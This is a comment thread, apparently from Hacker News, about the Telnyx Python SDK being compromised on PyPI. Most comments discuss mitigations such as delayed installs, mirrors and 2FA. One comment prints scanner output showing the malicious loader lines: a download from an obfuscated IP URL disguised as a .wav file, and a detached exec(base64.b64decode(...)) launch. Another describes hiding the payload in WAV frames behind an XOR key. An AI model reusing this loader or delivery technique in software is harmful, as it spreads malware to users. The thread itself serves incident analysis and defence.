Telnyx package compromised on PyPI

https://telnyx.com/resources/telnyx-python-sdk-supply-chain-security-notice-march-2026
https://github.com/team-telnyx/telnyx-python/issues/235

https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

Comments

mil22Mar 27, 2026, 7:27 PM
For those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml:

  [tool.uv]
  exclude-newer = "7 days"
or this to your ~/.config/uv/uv.toml:

  exclude-newer = "7 days"
This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.
notatallshawMar 27, 2026, 7:53 PM
Pip maintainer here, to do this in pip (26.0+) now you have to manually calculate the date, e.g. --uploaded-prior-to="$(date -u -d '3 days ago' '+%Y-%m-%dT%H:%M:%SZ')"

In pip 26.1 (release scheduled for April 2026), it will support the day ISO-8601 duration format, which uv also supports, so you will be able to do --uploaded-prior-to=P3D, or via env vars or config files, as all pip options can be set in either.

jmward01Mar 27, 2026, 7:57 PM
I am a slow adopter of uv. I'll be honest, its speed has never been a big deal to me and, in general, it is YAPT (yet another package tool), but this one feature may make me reconsider. Pinning versions is less than perfect but I would really like to be able to stay XXX days behind exactly for this reason.

I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing. Basically, I have several projects and I just want to do a pip install but against my own curated pypi. I know this is the intent of virtual envs/lock files, etc, but coordinating across projects and having my own server to grab from when builds happen (guaranteeing builds won't fail) is import. At a minimum it would be good to have a 'curated.json' or something similar that I could point pip/other package managers to to enforce package policies across projects. These supply chain attacks show that all it takes is a single update and your are in big trouble so we, unfortunately, need more layers of defense.

zahlmanMar 27, 2026, 9:57 PM
> I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing.

FWIW, https://pypi.org/project/bandersnatch/ is the standard tool for setting up a PyPI mirror, and https://github.com/pypi/warehouse is the codebase for PyPI itself (including the actual website, account management etc.).

If "my own curated pypi" extends as far as a whitelist of build artifacts, you can just make a local "wheelhouse" directory of those, and pass `--no-index` and `--find-links /path/to/wheelhouse` in your `pip install` commands (I'm sure uv has something analogous).

__mharrison__Mar 27, 2026, 7:56 PM
Love it! Let those pip users find the compromised packages for us uv users.
bombcarMar 27, 2026, 8:22 PM
Until everyone waits 7 days to install everything so the compromise is discovered on the 8th day.

End result will be everyone runs COBOL only.

gonzalohmMar 27, 2026, 8:47 PM
Or just scan all GitHub repos, find their .toml definition. Calculate the median and then add 7 days to that. That way you are always behind.
zar1048576Mar 27, 2026, 9:09 PM
:-) That might not even be enough as I hear (but haven't verified) that Claude does a pretty good job of making sense out of legacy COBOL code!
anthkMar 27, 2026, 9:44 PM
Or Forth with scientific library, bound to the constraints. Put some HTTP library on top and some easy HTML interface from a browser with no JS/CSS3 support at all. It will look rusty but unexploitable.

Enterprise computing with custom software will make a comeback to avoid these pitfalls. I depise OpenJDK/Mono because of patents but at least they come with complete defaults and a 'normal' install it's more than enough to ship a workable application for almost every OS. Ah, well, smartphones. Serious work is never done with these tools, even with high end tables. Maybe commercials/salespeople and that's it.

It's either that... or promoting reproducible environment with Guix everywhere. Your own Guix container, isolated, importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a manifest file and ready to ship anywhere, either as a Guix package, a Docker container (Guix can do that), a single DEB/RPM, an AppImage ready to launch on any modern GNU/Linux with a desktop and a lot more.

TZubiriMar 27, 2026, 7:38 PM
Nice feature. However uv is suspect at the moment, in the sense that it is designed as a pip replacement to overcome issues that only exist when supply chains are of a size that isn't safe to have.

So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt

sdoeringMar 27, 2026, 7:42 PM
Sorry - call me uninformed. But I do not really understand how choosing uv makes me less safe than using pip.

Care to explain? Would love to learn.

jcass8695Mar 27, 2026, 7:46 PM
It is a bit of a leap. They are saying that if you are using uv, then you likely have a broad set of dependencies because you require a dependency management tool, therefore you are more susceptible to a supply chain attack by virtue of having a wider attack surface.
ImustaskforhelpMar 27, 2026, 7:41 PM
I really am not able to follow this line of reasoning, I am not sure if what you said makes sense and how it relates to uv having a security feature to be on average less safe :/
thewebguydMar 27, 2026, 7:52 PM
I believe they are saying that by the time you need something like uv, your project already has too many dependencies. Its the unnecessarily large supply chain that's the problem, and uv exists to solve a problem that you should try to avoid in the first place.

I think uv is great, but I somewhat agree. We see this issue with node/npm. We need smaller supply chains/less dependencies overall, not just bandaiding over the poor decisions with better dependency management tooling.

catgaryMar 27, 2026, 9:00 PM
This line of thought is honestly a bit silly - uv is just a package manager that actually does its job for resolving dependencies. You’re talking about a completely orthogonal problem.
zahlmanMar 27, 2026, 9:59 PM
> uv is just a package manager that actually does its job for resolving dependencies.

Pip resolves dependencies just fine. It just also lets you try to build the environment incrementally (which is actually useful, especially for people who aren't "developers" on a "project"), and is slow (for a lot of reasons).

ImustaskforhelpMar 27, 2026, 8:24 PM
Ah this simplifies what they were saying.

I agree with it that dependency management should be made easier. To be honest, I really like how golang's dependency and how golang's community works around dependencies and how golang has a really great stdlib to work with and how the community really likes to rely on very little depenendencies for the most part as well.

Maybe second to that, Zig is interesting as although I see people using libraries, its on a much lower level compared to rust/node/python.

Sadly, rust suffers from the same dependency issue like node/python.

joshredMar 27, 2026, 7:48 PM
This is complete nonsense. pip has all the same problems that you say uv has.
paulddraperMar 27, 2026, 7:47 PM
Huh?

Wanting a better pip means I am unsafe?

f311aMar 27, 2026, 7:00 PM
They did not even try to hide the payload that much.

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

  hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-confidence high  --exclude HX4000

  warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
  86:13
       │
  7783 │         except:
  7784 │             pass
  7785 │
  7786 │         r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       │             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
  7787 │         with urllib.request.urlopen(r, timeout=15) as d:
  7788 │             with open(t, "wb") as f:
  7789 │                 f.write(d.read())
       │
       = Confidence: High
         Help: Data exfiltration is the unauthorized transfer of data from a computer.


  warning[HX4010]: Execution of obfuscated code.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
  10:9
       │
  7807 │       if os.name == 'nt':
  7808 │           return
  7809 │       try:
  7810 │ ╭         subprocess.Popen(
  7811 │ │             [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
  7812 │ │             stdout=subprocess.DEVNULL,
  7813 │ │             stderr=subprocess.DEVNULL,
  7814 │ │             start_new_session=True
  7815 │ │         )
       │ ╰─────────^ HX4010
  7816 │       except:
  7817 │           pass
  7818 │
       │
       = Confidence: VeryHigh
         Help: Obfuscated code exec can be used to bypass detection.
m000Mar 27, 2026, 7:21 PM
Are there more tools like hexora?
f311aMar 27, 2026, 7:29 PM
GuardDog, but it's based on regexes
jbrowningMar 27, 2026, 7:09 PM
> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

conspMar 27, 2026, 9:11 PM
I've seen it at least once in code from a big car manufacturer who encrypted their software or parts of it to avoid you reading the xml files. They use a key, split into two or more parts, hidden as the first bytes of some file or as plain text somewhere it would not be out of order, then recombine, run through an deobfuscation function to be an old fashioned DES or XOR key to decrypt the (usually XML, could have been a different key format it's been a while) files. It's not that uncommon. It's also security theater. Funny part is they didn't obfuscate the code to read the key.
ac29Mar 27, 2026, 9:39 PM
I was really hoping the audio file was going to be AFSK or someting
ramimacMar 27, 2026, 8:59 AM
We haven't blogged this yet, but a variety of teams found this in parallel.

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

ScaevolusMar 27, 2026, 8:33 PM
I'm glad there's many teams with automated scans of pypi and npm running. It elevates the challenge of making a backdoor that can survive for any length of time.
ImustaskforhelpMar 27, 2026, 11:54 AM
Ramimac, has there been any action on having the c2 server's ip address being blacklisted?

The blast radius of TeamPCP just keeps on increasing...

viscousviolinMar 27, 2026, 7:03 PM
Is there a notification channel you can subscribe to / look at if you want to stay up to date on compromised PyPI packages?
woodruffwMar 27, 2026, 7:26 PM
viscousviolinMar 27, 2026, 7:35 PM
Thank you!
dmitrygrMar 27, 2026, 9:00 PM
Yes. news.ycomhinator.com
6thbitMar 27, 2026, 9:10 PM
So both this and litellm went straight to PyPI without going to GitHub first.

Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

anicepersonMar 27, 2026, 9:23 PM
Don't have the token on your hands. Use OICD ideally, or make sure to setup carefully as a repository secret. Ensure the workflow runs in a well permission read, minimal dependency environment. The issue with OICD is that it does not work with nested workflows because github does not propagate the claims.
deathanatosMar 27, 2026, 8:51 PM
> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

ilakshMar 27, 2026, 7:15 PM
The way I use Telynx is via SIP which is an open protocol. No reason we should be relying on proprietary APIs for this stuff.

On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.

Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.

jlundbergMar 27, 2026, 7:30 PM
We have always been API first rather than SDK first.

Never really thought too much about the security implications but that is of course a benefit too.

Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.

spocchioMar 27, 2026, 7:58 PM
Is there anyone who uses it? I see their repo's Initial Commit was on Jan 2026... quite a new package! Also, the number of GitHub stars and forks is quite low.

Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?

KomoDMar 27, 2026, 8:39 PM
> I see their repo's Initial Commit was on Jan 2026... quite a new package!

That's incorrect, the repo and package date back to 2019

kelvinjps10Mar 27, 2026, 9:02 PM
I received an email from them about the vulnerability but I don't remember ever using them
indigodaddyMar 27, 2026, 7:41 PM
Hah, need to setup a Grandstream HT801 this weekend and this cements my decision to use voip.ms vs telnyx. Not that the device would use that library (have no idea), but just, yeah generally, it's a good cue to stay away for me.
ivanvanderbylMar 27, 2026, 7:24 PM
Has anyone here used Telnyx? I tried to build a product against their API last year and 3 weeks after signing up they banned my account and made it impossible to get an answer as to why or re-enable it.
TZubiriMar 27, 2026, 7:34 PM
I like it so far. Did you call phone support at the time and ask about it? I find it's easy enough to get in a call with a human.
ivanvanderbylMar 27, 2026, 7:54 PM
I did, they asked me to open a support ticket, which I did, and the last response I got was:

> We've reviewed the details you provided and updated your case with the necessary information. It is now being routed to the appropriate team for further support.

That was July 2025!

carlsborgMar 27, 2026, 6:58 PM
Anthropic/OpenAI could own this space. They should offer a paid service that offers a mirror with LLM scanned and sandbox-evaluated package with their next gen models. Free for individuals, orgs can subscribe to it.
oblvious-earthMar 27, 2026, 7:12 PM
OpenAI just acquired Astral who have an index service called pyx, so they would have a step up.

My understanding though is most corporations that take security seriously either build everything themselves in a sandbox, or use something like JFrog's Artifactory with various security checks, and don't let users directly connect to public indexes. So I'm not sure what the market is.

doc_ickMar 27, 2026, 7:16 PM
There’s also virustotal, any.run, probably a few others outside of GitHub/gitlab scans
johndoughMar 27, 2026, 7:29 PM
Judging by curl shutting down its bug bounty program due to AI slop, a likely outcome would be that this mirror has no packages because they are all blocked by false positives.
firesteelrainMar 27, 2026, 7:27 PM
Own what space ?
andrepdMar 27, 2026, 7:23 PM
Genuinely cannot tell whether this is satire.
infinitewarsMar 27, 2026, 7:42 PM
Is this happening in part due to the sheer volume of pull-requests with AI generated code.. things are slipping through?
slowmovintargetMar 27, 2026, 6:59 PM
Telnyx provides voice capabilities for OpenClaw for those wondering.
indigodaddyMar 27, 2026, 7:42 PM
They should add voip.ms. it's better all around I think
_JamesA_Mar 27, 2026, 8:52 PM
Voip.ms is great for a simple SIP trunk but it has almost none of the programmable voice and other features of Telnyx or Twilio.
indigodaddyMar 27, 2026, 9:27 PM
ah yeah, I'm about to setup a grandstream ht801 for a voip home phone so I probably dont need all that
anthkMar 27, 2026, 9:38 PM
The Guix PM in this context can create an isolated environment and import PyPI packages for you adapted into Guix Scheme manifest files. Not just Python, Perl, Ruby, Node... if you have to use dangerous our propietary environments for the enterprise, (not for personal computing), at least isolate them so the malware doesn't spread over.
charcircuitMar 27, 2026, 7:09 PM
2FA needs to be required for publishing packages. An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.
woodruffwMar 27, 2026, 7:37 PM
In a lot of cases, it's not really clear whose second factor would authorize publishing a package that was uploaded from a CI/CD system. Is it any project owner? Anyone from the same GitHub organization? etc.

> An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.

Agreed, that's why a lot of packaging ecosystems (including PyPI) have moved towards schemes that involve self-scoping, self-expiring tokens. The CI can still publish, but the attacker can no longer exfiltrate the publishing credential and use it indefinitely later.

(These schemes are not mandatory, because they can't be.)

charcircuitMar 27, 2026, 8:10 PM
The 2FA of whatever account is publishing the package. I'm pretty sure Pypi already has this figured out except they seem to allow you to make an API key which just bypasses checking a 2nd factor.
woodruffwMar 27, 2026, 8:34 PM
Which account is publishing the package, in a CI/CD context? It's not clear that any particular account is, since the set of people who can trigger a workflow in CI/CD aren't necessarily (and in fact aren't often) the same set of people who can create an API token on PyPI.
paulddraperMar 27, 2026, 7:53 PM
Sounds like 2FA should be required for CI.
sigseg1vMar 27, 2026, 7:39 PM
but then how can we deploy our vibe coded PRs we didn't review at a pace of 40 deploys per day?
rvzMar 27, 2026, 7:17 PM
That's not good. Time to raise the package security draw bridge on vibe coders.
doug_durhamMar 27, 2026, 7:47 PM
In what world does professional hackers intersect with vibe coding? This is a professional attack. Not some amateur script kiddie action.
dlcarrierMar 27, 2026, 7:04 PM
At this point, I'm not updating anything using Python.

Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.

I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.

It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.

akxMar 27, 2026, 7:19 PM
Sounds like you're not familiar with https://docs.astral.sh/uv/ ...
TZubiriMar 27, 2026, 7:39 PM
Agree. I was working on an open source package, noticed something weird, and noticed the size of the uv.lock and got a bit scared.

It's a pandemic, I will be hardening my security, and rotating my keys just in case.

paulddraperMar 27, 2026, 7:52 PM
Python is genuinely a pleasant syntax and experience. [1]

It's the closest language to pseudocode that exists.

Like every other language from 1991, it has rough edges.

[1] https://xkcd.com/353/

oncallthrowMar 27, 2026, 7:10 PM
I think it's only a matter of time at this point before a devastating supply chain attack occurs.

Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.

TZubiriMar 27, 2026, 6:44 PM
Shoutouts to all the real engineers who use a generic http client to call APIs and weren't impacted by this.
LoganDarkMar 27, 2026, 7:39 PM
I used to use Telnyx many years ago, but was squeezed out when they started adding layer after layer of mandatory identity verification. Nope.
zar1048576Mar 27, 2026, 9:05 PM
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midnightrun_aiMar 27, 2026, 7:31 PM
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midnightrun_aiMar 27, 2026, 7:31 PM
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masterjayMar 27, 2026, 7:39 PM
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